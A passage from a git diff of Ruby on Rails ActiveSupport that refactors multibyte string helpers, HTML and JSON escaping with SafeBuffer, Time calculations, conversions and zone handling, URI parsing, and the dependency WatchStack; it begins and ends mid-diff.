+  #
+  #   name.mb_chars.reverse.length # => 12
+  #
+  # == Interoperability and configuration
+  #
+  # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
+  # String and Char work like expected. The bang! methods change the internal string representation in the Chars
+  # object. Interoperability problems can be resolved easily with a +to_s+ call.
+  #
+  # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
+  # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.
+  def mb_chars
+    if ActiveSupport::Multibyte.proxy_class.consumes?(self)
+      ActiveSupport::Multibyte.proxy_class.new(self)
+    else
+      self
     end
+  end
 
-    # Returns true if the string has UTF-8 semantics (a String used for purely byte resources is unlikely to have
-    # them), returns false otherwise.
-    def is_utf8?
-      ActiveSupport::Multibyte::Chars.consumes?(self)
+  def is_utf8?
+    case encoding
+    when Encoding::UTF_8
+      valid_encoding?
+    when Encoding::ASCII_8BIT, Encoding::US_ASCII
+      dup.force_encoding(Encoding::UTF_8).valid_encoding?
+    else
+      false
     end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index c90f58dffa..dad4b29d46 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -3,8 +3,10 @@ require 'active_support/core_ext/kernel/singleton_class'
 
 class ERB
   module Util
-    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;' }
+    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;', "'" => '&#x27;' }
     JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
+    JSON_ESCAPE_REGEXP = /[&"><]/
 
     # A utility method for escaping HTML tag characters.
     # This method is also aliased as <tt>h</tt>.
@@ -12,15 +14,14 @@ class ERB
     # In your ERB templates, use this method to escape any unsafe content. For example:
     #   <%=h @person.name %>
     #
-    # ==== Example:
-    #   puts html_escape("is a > 0 & a < 10?")
+    #   puts html_escape('is a > 0 & a < 10?')
     #   # => is a &gt; 0 &amp; a &lt; 10?
     def html_escape(s)
       s = s.to_s
       if s.html_safe?
         s
       else
-        s.gsub(/&/, "&amp;").gsub(/\"/, "&quot;").gsub(/>/, "&gt;").gsub(/</, "&lt;").html_safe
+        s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
       end
     end
 
@@ -33,10 +34,24 @@ class ERB
     singleton_class.send(:remove_method, :html_escape)
     module_function :html_escape
 
+    # A utility method for escaping HTML without affecting existing escaped entities.
+    #
+    #   html_escape_once('1 < 2 &amp; 3')
+    #   # => "1 &lt; 2 &amp; 3"
+    #
+    #   html_escape_once('&lt;&lt; Accept & Checkout')
+    #   # => "&lt;&lt; Accept &amp; Checkout"
+    def html_escape_once(s)
+      result = s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP) { |special| HTML_ESCAPE[special] }
+      s.html_safe? ? result.html_safe : result
+    end
+
+    module_function :html_escape_once
+
     # A utility method for escaping HTML entities in JSON strings
     # using \uXXXX JavaScript escape sequences for string literals:
     #
-    #   json_escape("is a > 0 & a < 10?")
+    #   json_escape('is a > 0 & a < 10?')
     #   # => is a \u003E 0 \u0026 a \u003C 10?
     #
     # Note that after this operation is performed the output is not
@@ -46,7 +61,7 @@ class ERB
     #   # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
     #
     def json_escape(s)
-      result = s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] }
+      result = s.to_s.gsub(JSON_ESCAPE_REGEXP) { |special| JSON_ESCAPE[special] }
       s.html_safe? ? result.html_safe : result
     end
 
@@ -68,40 +83,55 @@ end
 
 module ActiveSupport #:nodoc:
   class SafeBuffer < String
-    UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase", "prepend"].freeze
+    UNSAFE_STRING_METHODS = %w(
+      capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
+      slice squeeze strip sub succ swapcase tr tr_s upcase prepend
+    )
 
     alias_method :original_concat, :concat
     private :original_concat
 
     class SafeConcatError < StandardError
       def initialize
-        super "Could not concatenate to the buffer because it is not html safe."
+        super 'Could not concatenate to the buffer because it is not html safe.'
       end
     end
 
-    def[](*args)
-      new_safe_buffer = super
-      new_safe_buffer.instance_eval { @dirty = false }
-      new_safe_buffer
+    def [](*args)
+      if args.size < 2
+        super
+      else
+        if html_safe?
+          new_safe_buffer = super
+          new_safe_buffer.instance_eval { @html_safe = true }
+          new_safe_buffer
+        else
+          to_str[*args]
+        end
+      end
     end
 
     def safe_concat(value)
-      raise SafeConcatError if dirty?
+      raise SafeConcatError unless html_safe?
       original_concat(value)
     end
 
     def initialize(*)
-      @dirty = false
+      @html_safe = true
       super
     end
 
     def initialize_copy(other)
       super
-      @dirty = other.dirty?
+      @html_safe = other.html_safe?
+    end
+
+    def clone_empty
+      self[0, 0]
     end
 
     def concat(value)
-      if dirty? || value.html_safe?
+      if !html_safe? || value.html_safe?
         super(value)
       else
         super(ERB::Util.h(value))
@@ -113,8 +143,20 @@ module ActiveSupport #:nodoc:
       dup.concat(other)
     end
 
+    def %(args)
+      args = Array(args).map do |arg|
+        if !html_safe? || arg.html_safe?
+          arg
+        else
+          ERB::Util.h(arg)
+        end
+      end
+
+      self.class.new(super(args))
+    end
+
     def html_safe?
-      !dirty?
+      defined?(@html_safe) && @html_safe
     end
 
     def to_s
@@ -129,11 +171,6 @@ module ActiveSupport #:nodoc:
       coder.represent_scalar nil, to_str
     end
 
-    def to_yaml(*args)
-      return super() if defined?(YAML::ENGINE) && !YAML::ENGINE.syck?
-      to_str.to_yaml(*args)
-    end
-
     UNSAFE_STRING_METHODS.each do |unsafe_method|
       if 'String'.respond_to?(unsafe_method)
         class_eval <<-EOT, __FILE__, __LINE__ + 1
@@ -142,18 +179,12 @@ module ActiveSupport #:nodoc:
           end                                       # end
 
           def #{unsafe_method}!(*args)              # def capitalize!(*args)
-            @dirty = true                           #   @dirty = true
+            @html_safe = false                      #   @html_safe = false
             super                                   #   super
           end                                       # end
         EOT
       end
     end
-
-    protected
-
-    def dirty?
-      @dirty
-    end
   end
 end
 
diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb
new file mode 100644
index 0000000000..32cffe237d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/time/acts_like'
+require 'active_support/core_ext/time/calculations'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/time/marshal'
+require 'active_support/core_ext/time/zones'
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 372dd69212..d0f574f2ba 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -1,10 +1,19 @@
 require 'active_support/duration'
-require 'active_support/core_ext/time/zones'
 require 'active_support/core_ext/time/conversions'
+require 'active_support/time_with_zone'
+require 'active_support/core_ext/time/zones'
 
 class Time
   COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
-  DAYS_INTO_WEEK = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6 }
+  DAYS_INTO_WEEK = {
+    :monday    => 0,
+    :tuesday   => 1,
+    :wednesday => 2,
+    :thursday  => 3,
+    :friday    => 4,
+    :saturday  => 5,
+    :sunday    => 6
+  }
 
   class << self
     # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
@@ -15,8 +24,11 @@ class Time
     # Return the number of days in the given month.
     # If no year is specified, it will use the current year.
     def days_in_month(month, year = now.year)
-      return 29 if month == 2 && ::Date.gregorian_leap?(year)
-      COMMON_YEAR_DAYS_IN_MONTH[month]
+      if month == 2 && ::Date.gregorian_leap?(year)
+        29
+      else
+        COMMON_YEAR_DAYS_IN_MONTH[month]
+      end
     end
 
     # Returns a new Time if requested year can be accommodated by Ruby's Time class
@@ -24,8 +36,13 @@ class Time
     # otherwise returns a DateTime.
     def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
       time = ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
+
       # This check is needed because Time.utc(y) returns a time object in the 2000s for 0 <= y <= 138.
-      time.year == year ? time : ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
+      if time.year == year
+        time
+      else
+        ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
+      end
     rescue
       ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
     end
@@ -67,19 +84,24 @@ class Time
   end
 
   # Returns a new Time where one or more of the elements have been changed according to the +options+ parameter. The time options
-  # (hour, minute, sec, usec) reset cascadingly, so if only the hour is passed, then minute, sec, and usec is set to 0. If the hour and
+  # (hour, min, sec, usec) reset cascadingly, so if only the hour is passed, then minute, sec, and usec is set to 0. If the hour and
   # minute is passed, then sec and usec is set to 0.
   def change(options)
-    ::Time.send(
-      utc? ? :utc_time : :local_time,
-      options[:year]  || year,
-      options[:month] || month,
-      options[:day]   || day,
-      options[:hour]  || hour,
-      options[:min]   || (options[:hour] ? 0 : min),
-      options[:sec]   || ((options[:hour] || options[:min]) ? 0 : sec),
-      options[:usec]  || ((options[:hour] || options[:min] || options[:sec]) ? 0 : usec)
-    )
+    new_year  = options.fetch(:year, year)
+    new_month = options.fetch(:month, month)
+    new_day   = options.fetch(:day, day)
+    new_hour  = options.fetch(:hour, hour)
+    new_min   = options.fetch(:min, options[:hour] ? 0 : min)
+    new_sec   = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
+    new_usec  = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+
+    if utc?
+      ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+    elsif zone
+      ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+    else
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset)
+    end
   end
 
   # Uses Date to provide precise Time calculations for years, months, and days.
@@ -89,18 +111,26 @@ class Time
   def advance(options)
     unless options[:weeks].nil?
       options[:weeks], partial_weeks = options[:weeks].divmod(1)
-      options[:days] = (options[:days] || 0) + 7 * partial_weeks
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
     end
 
     unless options[:days].nil?
       options[:days], partial_days = options[:days].divmod(1)
-      options[:hours] = (options[:hours] || 0) + 24 * partial_days
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
     end
 
     d = to_date.advance(options)
     time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
-    seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
-    seconds_to_advance == 0 ? time_advanced_by_date : time_advanced_by_date.since(seconds_to_advance)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      time_advanced_by_date
+    else
+      time_advanced_by_date.since(seconds_to_advance)
+    end
   end
 
   # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
@@ -145,6 +175,7 @@ class Time
   def prev_year
     years_ago(1)
   end
+  alias_method :last_year, :prev_year
 
   # Short-hand for years_since(1)
   def next_year
@@ -155,35 +186,74 @@ class Time
   def prev_month
     months_ago(1)
   end
+  alias_method :last_month, :prev_month
 
   # Short-hand for months_since(1)
   def next_month
     months_since(1)
   end
 
-  # Returns a new Time representing the "start" of this week (Monday, 0:00)
-  def beginning_of_week
-    days_to_monday = wday!=0 ? wday-1 : 6
-    (self - days_to_monday.days).midnight
+  # Short-hand for months_ago(3)
+  def prev_quarter
+    months_ago(3)
+  end
+  alias_method :last_quarter, :prev_quarter
+
+  # Short-hand for months_since(3)
+  def next_quarter
+    months_since(3)
+  end
+
+  # Returns number of days to start of this week, week starts on start_day (default is :monday).
+  def days_to_week_start(start_day = :monday)
+    start_day_number = DAYS_INTO_WEEK[start_day]
+    current_day_number = wday != 0 ? wday - 1 : 6
+    days_span = current_day_number - start_day_number
+
+    days_span >= 0 ? days_span : 7 + days_span
+  end
+
+  # Returns a new Time representing the "start" of this week, week starts on start_day (default is :monday, i.e. Monday, 0:00).
+  def beginning_of_week(start_day = :monday)
+    days_to_start = days_to_week_start(start_day)
+    (self - days_to_start.days).midnight
   end
-  alias :monday :beginning_of_week
   alias :at_beginning_of_week :beginning_of_week
 
-  # Returns a new Time representing the end of this week, (end of Sunday)
-  def end_of_week
-    days_to_sunday = wday!=0 ? 7-wday : 0
-    (self + days_to_sunday.days).end_of_day
+  # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+  # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
+  def monday
+    beginning_of_week
+  end
+
+  # Returns a new Time representing the end of this week, week starts on start_day (default is :monday, i.e. end of Sunday).
+  def end_of_week(start_day = :monday)
+    days_to_end =  6 - days_to_week_start(start_day)
+    (self + days_to_end.days).end_of_day
   end
   alias :at_end_of_week :end_of_week
 
-  # Returns a new Time representing the start of the given day in the previous week (default is Monday).
+  # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+  # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
+  def sunday
+    end_of_week
+  end
+
+  # Returns a new Time representing the start of the given day in the previous week (default is :monday).
   def prev_week(day = :monday)
-    ago(1.week).beginning_of_week.since(DAYS_INTO_WEEK[day].day).change(:hour => 0)
+    ago(1.week).
+      beginning_of_week.
+      since(DAYS_INTO_WEEK[day].day).
+      change(:hour => 0)
   end
+  alias_method :last_week, :prev_week
 
-  # Returns a new Time representing the start of the given day in next week (default is Monday).
+  # Returns a new Time representing the start of the given day in next week (default is :monday).
   def next_week(day = :monday)
-    since(1.week).beginning_of_week.since(DAYS_INTO_WEEK[day].day).change(:hour => 0)
+    since(1.week).
+      beginning_of_week.
+      since(DAYS_INTO_WEEK[day].day).
+      change(:hour => 0)
   end
 
   # Returns a new Time representing the start of the day (0:00)
@@ -197,7 +267,27 @@ class Time
 
   # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
   def end_of_day
-    change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
+    change(
+      :hour => 23,
+      :min => 59,
+      :sec => 59,
+      :usec => Rational(999999999, 1000)
+    )
+  end
+
+  # Returns a new Time representing the start of the hour (x:00)
+  def beginning_of_hour
+    change(:min => 0)
+  end
+  alias :at_beginning_of_hour :beginning_of_hour
+
+  # Returns a new Time representing the end of the hour, x:59:59.999999 (.999999999 in ruby1.9)
+  def end_of_hour
+    change(
+      :min => 59,
+      :sec => 59,
+      :usec => Rational(999999999, 1000)
+    )
   end
 
   # Returns a new Time representing the start of the month (1st of the month, 0:00)
@@ -211,19 +301,27 @@ class Time
   def end_of_month
     #self - ((self.mday-1).days + self.seconds_since_midnight)
     last_day = ::Time.days_in_month(month, year)
-    change(:day => last_day, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
+    change(
+      :day  => last_day,
+      :hour => 23,
+      :min  => 59,
+      :sec  => 59,
+      :usec => Rational(999999999, 1000)
+    )
   end
   alias :at_end_of_month :end_of_month
 
   # Returns  a new Time representing the start of the quarter (1st of january, april, july, october, 0:00)
   def beginning_of_quarter
-    beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= month })
+    first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+    beginning_of_month.change(:month => first_quarter_month)
   end
   alias :at_beginning_of_quarter :beginning_of_quarter
 
   # Returns a new Time representing the end of the quarter (end of the last day of march, june, september, december)
   def end_of_quarter
-    beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= month }).end_of_month
+    last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+    beginning_of_month.change(:month => last_quarter_month).end_of_month
   end
   alias :at_end_of_quarter :end_of_quarter
 
@@ -235,7 +333,14 @@ class Time
 
   # Returns a new Time representing the end of the year (end of the 31st of december)
   def end_of_year
-    change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
+    change(
+      :month => 12,
+      :day   => 31,
+      :hour  => 23,
+      :min   => 59,
+      :sec   => 59,
+      :usec  => Rational(999999999, 1000)
+    )
   end
   alias :at_end_of_year :end_of_year
 
@@ -254,9 +359,9 @@ class Time
     beginning_of_day..end_of_day
   end
 
-  # Returns a Range representing the whole week of the current time.
-  def all_week
-    beginning_of_week..end_of_week
+  # Returns a Range representing the whole week of the current time. Week starts on start_day (default is :monday, i.e. end of Sunday).
+  def all_week(start_day = :monday)
+    beginning_of_week(start_day)..end_of_week(start_day)
   end
 
   # Returns a Range representing the whole month of the current time.
@@ -308,8 +413,23 @@ class Time
   # can be chronologically compared with a Time
   def compare_with_coercion(other)
     # we're avoiding Time#to_datetime cause it's expensive
-    other.is_a?(Time) ? compare_without_coercion(other.to_time) : to_datetime <=> other
+    if other.is_a?(Time)
+      compare_without_coercion(other.to_time)
+    else
+      to_datetime <=> other
+    end
   end
   alias_method :compare_without_coercion, :<=>
   alias_method :<=>, :compare_with_coercion
+
+  # Layers additional behavior on Time#eql? so that ActiveSupport::TimeWithZone instances
+  # can be eql? to an equivalent Time
+  def eql_with_coercion(other)
+    # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison
+    other = other.comparable_time if other.respond_to?(:comparable_time)
+    eql_without_coercion(other)
+  end
+  alias_method :eql_without_coercion, :eql?
+  alias_method :eql?, :eql_with_coercion
+
 end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 49ac18d245..10ca26acf2 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -1,16 +1,22 @@
 require 'active_support/inflector/methods'
-require 'active_support/core_ext/time/publicize_conversion_methods'
 require 'active_support/values/time_zone'
 
 class Time
   DATE_FORMATS = {
-    :db           => "%Y-%m-%d %H:%M:%S",
-    :number       => "%Y%m%d%H%M%S",
-    :time         => "%H:%M",
-    :short        => "%d %b %H:%M",
-    :long         => "%B %d, %Y %H:%M",
-    :long_ordinal => lambda { |time| time.strftime("%B #{ActiveSupport::Inflector.ordinalize(time.day)}, %Y %H:%M") },
-    :rfc822       => lambda { |time| time.strftime("%a, %d %b %Y %H:%M:%S #{time.formatted_offset(false)}") }
+    :db           => '%Y-%m-%d %H:%M:%S',
+    :number       => '%Y%m%d%H%M%S',
+    :nsec         => '%Y%m%d%H%M%S%9N',
+    :time         => '%H:%M',
+    :short        => '%d %b %H:%M',
+    :long         => '%B %d, %Y %H:%M',
+    :long_ordinal => lambda { |time|
+      day_format = ActiveSupport::Inflector.ordinalize(time.day)
+      time.strftime("%B #{day_format}, %Y %H:%M")
+    },
+    :rfc822       => lambda { |time|
+      offset_format = time.formatted_offset(false)
+      time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
+    }
   }
 
   # Converts to a formatted string. See DATE_FORMATS for builtin formats.
@@ -35,7 +41,7 @@ class Time
   # or Proc instance that takes a time argument as the value.
   #
   #   # config/initializers/time_formats.rb
-  #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
+  #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
   def to_formatted_s(format = :default)
     if formatter = DATE_FORMATS[format]
@@ -54,32 +60,4 @@ class Time
   def formatted_offset(colon = true, alternate_utc_string = nil)
     utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
   end
-
-  # Converts a Time object to a Date, dropping hour, minute, and second precision.
-  #
-  #   my_time = Time.now  # => Mon Nov 12 22:59:51 -0500 2007
-  #   my_time.to_date     # => Mon, 12 Nov 2007
-  #
-  #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
-  #   your_time.to_date                                 # => Tue, 13 Jan 2009
-  def to_date
-    ::Date.new(year, month, day)
-  end unless method_defined?(:to_date)
-
-  # A method to keep Time, Date and DateTime instances interchangeable on conversions.
-  # In this case, it simply returns +self+.
-  def to_time
-    self
-  end unless method_defined?(:to_time)
-
-  # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset.
-  #
-  #   my_time = Time.now    # => Mon Nov 12 23:04:21 -0500 2007
-  #   my_time.to_datetime   # => Mon, 12 Nov 2007 23:04:21 -0500
-  #
-  #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
-  #   your_time.to_datetime                             # => Tue, 13 Jan 2009 13:13:03 -0500
-  def to_datetime
-    ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400))
-  end unless method_defined?(:to_datetime)
 end
diff --git a/activesupport/lib/active_support/core_ext/time/marshal.rb b/activesupport/lib/active_support/core_ext/time/marshal.rb
index 457d3f5b62..1bf622d6a6 100644
--- a/activesupport/lib/active_support/core_ext/time/marshal.rb
+++ b/activesupport/lib/active_support/core_ext/time/marshal.rb
@@ -1,30 +1,3 @@
-# Pre-1.9 versions of Ruby have a bug with marshaling Time instances, where utc instances are
-# unmarshalled in the local zone, instead of utc. We're layering behavior on the _dump and _load
-# methods so that utc instances can be flagged on dump, and coerced back to utc on load.
-if !Marshal.load(Marshal.dump(Time.now.utc)).utc?
-  class Time
-    class << self
-      alias_method :_load_without_utc_flag, :_load
-      def _load(marshaled_time)
-        time = _load_without_utc_flag(marshaled_time)
-        time.instance_eval do
-          if defined?(@marshal_with_utc_coercion)
-            val = remove_instance_variable("@marshal_with_utc_coercion")
-          end
-          val ? utc : self
-        end
-      end
-    end
-
-    alias_method :_dump_without_utc_flag, :_dump
-    def _dump(*args)
-      obj = dup
-      obj.instance_variable_set('@marshal_with_utc_coercion', utc?)
-      obj._dump_without_utc_flag(*args)
-    end
-  end
-end
-
 # Ruby 1.9.2 adds utc_offset and zone to Time, but marshaling only
 # preserves utc_offset. Preserve zone also, even though it may not
 # work in some edge cases.
diff --git a/activesupport/lib/active_support/core_ext/time/publicize_conversion_methods.rb b/activesupport/lib/active_support/core_ext/time/publicize_conversion_methods.rb
deleted file mode 100644
index e1878d3c20..0000000000
--- a/activesupport/lib/active_support/core_ext/time/publicize_conversion_methods.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'date'
-
-class Time
-  # Ruby 1.8-cvs and early 1.9 series define private Time#to_date
-  %w(to_date to_datetime).each do |method|
-    if private_instance_methods.include?(method) || private_instance_methods.include?(method.to_sym)
-      public method
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 0c5962858e..37bc3fae24 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -26,11 +26,11 @@ class Time
     #     around_filter :set_time_zone
     #
     #     def set_time_zone
-    #       old_time_zone = Time.zone
-    #       Time.zone = current_user.time_zone if logged_in?
-    #       yield
-    #     ensure
-    #       Time.zone = old_time_zone
+    #       if logged_in?
+    #         Time.use_zone(current_user.time_zone) { yield }
+    #       else
+    #         yield
+    #       end
     #     end
     #   end
     def zone=(time_zone)
@@ -50,13 +50,21 @@ class Time
 
     # Returns a TimeZone instance or nil, or raises an ArgumentError for invalid timezones.
     def find_zone!(time_zone)
-      return time_zone if time_zone.nil? || time_zone.is_a?(ActiveSupport::TimeZone)
-      # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone)
-      unless time_zone.respond_to?(:period_for_local)
-        time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
+      if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
+        time_zone
+      else
+        # lookup timezone based on identifier (unless we've been passed a TZInfo::Timezone)
+        unless time_zone.respond_to?(:period_for_local)
+          time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
+        end
+
+        # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
+        if time_zone.is_a?(ActiveSupport::TimeZone)
+          time_zone
+        else
+          ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
+        end
       end
-      # Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
-      time_zone.is_a?(ActiveSupport::TimeZone) ? time_zone : ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
     rescue TZInfo::InvalidTimezoneIdentifier
       raise ArgumentError, "Invalid Timezone: #{time_zone}"
     end
@@ -79,8 +87,10 @@ class Time
   #
   #   Time.utc(2000).in_time_zone('Alaska')  # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
   def in_time_zone(zone = ::Time.zone)
-    return self unless zone
-
-    ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+    if zone
+      ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+    else
+      self
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/uri.rb b/activesupport/lib/active_support/core_ext/uri.rb
index ee991e3439..bfe0832b37 100644
--- a/activesupport/lib/active_support/core_ext/uri.rb
+++ b/activesupport/lib/active_support/core_ext/uri.rb
@@ -1,22 +1,18 @@
 # encoding: utf-8
 
-if RUBY_VERSION >= '1.9'
-  require 'uri'
+require 'uri'
+str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+parser = URI::Parser.new
 
-  str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
-
-  parser = URI::Parser.new
-
-  unless str == parser.unescape(parser.escape(str))
-    URI::Parser.class_eval do
-      remove_method :unescape
-      def unescape(str, escaped = /%[a-fA-F\d]{2}/)
-        # TODO: Are we actually sure that ASCII == UTF-8?
-        # YK: My initial experiments say yes, but let's be sure please
-        enc = str.encoding
-        enc = Encoding::UTF_8 if enc == Encoding::US_ASCII
-        str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
-      end
+unless str == parser.unescape(parser.escape(str))
+  URI::Parser.class_eval do
+    remove_method :unescape
+    def unescape(str, escaped = /%[a-fA-F\d]{2}/)
+      # TODO: Are we actually sure that ASCII == UTF-8?
+      # YK: My initial experiments say yes, but let's be sure please
+      enc = str.encoding
+      enc = Encoding::UTF_8 if enc == Encoding::US_ASCII
+      str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc)
     end
   end
 end
@@ -24,7 +20,7 @@ end
 module URI
   class << self
     def parser
-      @parser ||= URI.const_defined?(:Parser) ? URI::Parser.new : URI
+      @parser ||= URI::Parser.new
     end
   end
 end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index b3ac271778..77cab6f08d 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -71,14 +71,24 @@ module ActiveSupport #:nodoc:
     #
     # This is handled by walking back up the watch stack and adding the constants
     # found by child.rb to the list of original constants in parent.rb
-    class WatchStack < Hash
+    class WatchStack
+      include Enumerable
+
       # @watching is a stack of lists of constants being watched. For instance,
       # if parent.rb is autoloaded, the stack will look like [[Object]]. If parent.rb
       # then requires namespace/child.rb, the stack will look like [[Object], [Namespace]].
 
       def initialize
         @watching = []
-        super { |h,k| h[k] = [] }
+        @stack = Hash.new { |h,k| h[k] = [] }
+      end
+
+      def each(&block)
+        @stack.each(&block)
+      end
+
+      def watching?
+        !@watching.empty?
       end
 
       # return a list of new constants found since the last call to watch_namespaces
@@ -89,20 +99,20 @@ module ActiveSupport #:nodoc:
         @watching.last.each do |namespace|
           # Retrieve the constants that were present under the namespace when watch_namespaces
           # was originally called
-          original_constants = self[namespace].last
+          original_constants = @stack[namespace].last
 
           mod = Inflector.constantize(namespace) if Dependencies.qualified_const_defined?(namespace)
           next unless mod.is_a?(Module)
 
           # Get a list of the constants that were added
-          new_constants = mod.local_constant_names - original_constants
+          new_constants = mod.local_constants - original_constants
 
           # self[namespace] returns an Array of the constants that are being evaluated
           # for that namespace. For instance, if parent.rb requires child.rb, the first
           # element of self[Object] will be an Array of the constants that were present
           # before parent.rb was required. The second element will be an Array of the
           # constants that were present before child.rb was required.
-          self[namespace].each do |namespace_constants|
+          @stack[namespace].each do |namespace_constants|
             namespace_constants.concat(new_constants)
           end
 
@@ -119,20 +129,19 @@ module ActiveSupport #:nodoc:
 
       # Add a set of modules to the watch stack, remembering the initial constants
       def watch_namespaces(namespaces)
-        watching = []
-        namespaces.map do |namespace|
+        @watching << namespaces.map do |namespace|
           module_name = Dependencies.to_constant_name(namespace)
           original_constants = Dependencies.qualified_const_defined?(module_name) ?
-            Inflector.constantize(module_name).local_constant_names : []
+            Inflector.constantize(module_name).local_constants : []
 
-          watching << module_name
-          self[module_name] << original_constants
+          @stack[module_name] << original_constants
+          module_name
